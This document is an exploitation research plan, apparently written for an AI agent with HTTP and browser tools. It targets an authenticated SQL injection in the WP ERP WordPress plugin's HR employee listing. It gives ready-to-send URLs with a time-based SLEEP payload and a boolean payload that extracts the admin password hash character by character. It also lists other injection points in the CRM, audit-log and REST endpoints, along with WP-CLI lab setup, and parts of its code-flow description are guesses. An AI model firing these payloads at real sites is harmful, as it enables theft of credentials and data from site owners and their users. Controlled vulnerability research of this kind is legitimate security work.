Exploitation Research Plan - CVE-2026-13011 (SQL Injection)

1. Vulnerability Summary

The WP ERP plugin (up to version 1.17.5) is vulnerable to an authenticated SQL injection via the orderby parameter. The vulnerability exists because user-supplied input to the orderby parameter is concatenated directly into SQL queries without sufficient sanitization or the use of $wpdb->prepare() placeholders for the ORDER BY clause. While the plugin implements a whitelist for orderby in some functions (like erp_get_peoples), this protection was absent or bypassed in the HRM module's employee listing logic.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php
• Query Parameters: page=erp-hr, section=employee, orderby, order.
• Action: Listing employees in the HR Management module.
• Authentication: Authenticated. Requires a user with the erp_list_employee capability (typically the HR Manager role in WP ERP).
• Vulnerable Parameter: orderby.
• Payload Delivery: GET request.

3. Code Flow

1. Entry Point: The user navigates to the HR Manager dashboard: admin.php?page=erp-hr&section=employee.
2. Controller: The request is handled by the HRM module, specifically the Employee_List_Table class (likely defined in modules/hrm/includes/EmployeeListTable.php).
3. Data Fetching: The table class calls a fetching function, such as erp_hr_get_employees() or erp_get_peoples().
4. SQL Construction: Inside the fetching function, the orderby parameter from $_GET['orderby'] is retrieved. In vulnerable versions, this value is appended to the $sql string:

   $orderby = $_GET['orderby'];
   $sql .= " ORDER BY $orderby " . $_GET['order'];
   

5. Sink: The concatenated string is passed to $wpdb->get_results(), executing the injected SQL.

4. Nonce Acquisition Strategy

This vulnerability occurs in an administrative list table using GET requests. Standard WordPress admin list tables for plugins typically do not require a nonce for simple sorting via orderby.

Verification:
If the application requires a nonce for this view, it is likely localized in the wp-erp or erp-hrm JS objects.

1. Create the test page/environment as described in Test Data Setup.
2. Navigate to wp-admin/admin.php?page=erp-hr&section=employee.
3. Use browser_eval to check for common ERP nonce locations:
   • window.wpErp?.nonce
   • window.erp_hrm?.nonce

5. Exploitation Strategy

We will use a time-based blind SQL injection because ORDER BY injections rarely reflect subquery results directly in the UI output, but they do influence query execution time.

Step 1: Confirmation (Time-based)

Trigger a 5-second delay to confirm the injection point.

• Tool: http_request
• Method: GET
• URL: /wp-admin/admin.php?page=erp-hr&section=employee&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=asc
• Expected Result: The server response time should be >= 5 seconds.

Step 2: Data Extraction (Boolean-based via Sorting)

Since time-based can be slow, we can use boolean-based logic by observing the order of employees.

• Payload: (CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN first_name ELSE last_name END)
• Logic: If the first character of the admin password hash is $, the list will be ordered by first_name. If not, it will be ordered by last_name.
• URL: /wp-admin/admin.php?page=erp-hr&section=employee&orderby=(CASE+WHEN+(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1)%3D'%24')+THEN+first_name+ELSE+last_name+END)&order=asc

6. Test Data Setup

1. Activate Plugin: Ensure wp-erp is active and the HRM module is enabled.
2. Create HR Manager:

   wp user create hrmanager hrmanager@example.com --role=editor
   # Assign WP ERP HR Manager role/capabilities
   wp eval "erp_restore_customer_role();" # Ensures ERP roles exist
   wp user set-role hrmanager erp_hr_manager
   

3. Add Employees: The exploit requires at least two employees to observe sorting changes.

   # Create two employees with distinct names
   wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'AAA', 'last_name' => 'ZZZ', 'email' => 'a@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);"
   wp eval "erp_hr_employee_create(['personal' => ['first_name' => 'ZZZ', 'last_name' => 'AAA', 'email' => 'z@test.com'], 'work' => ['designation' => 1, 'department' => 1, 'start_date' => '2020-01-01']]);"
   

7. Expected Results

• Confirmation: A request with SLEEP(5) takes exactly 5 seconds longer than a baseline request.
• Extraction: The response HTML contains the employee list. By comparing the first name in the first row of the table across different payloads, the agent can determine the result of the boolean subquery.

8. Verification Steps

After the HTTP exploitation, verify the database state to ensure the query targeted real data:

1. Check Admin Hash:

   wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
   

2. Verify Capability:

   wp eval "echo current_user_can('erp_list_employee') ? 'Has Cap' : 'No Cap';" --user=hrmanager
   

9. Alternative Approaches

If the EmployeeListTable is protected, the injection may exist in the CRM or Accounting modules via their respective orderby parameters:

• CRM Contacts: /wp-admin/admin.php?page=erp-crm&section=contact&orderby=... (Requires erp_crm_agent or erp_crm_manager).
• Audit Log: /wp-admin/admin.php?page=erp-tools&tab=log&orderby=... (Requires manage_options).
• REST API: Use wp-json/erp/v1/hrm/employees?orderby=.... This would require a REST nonce obtained via browser_eval("wpApiSettings.nonce").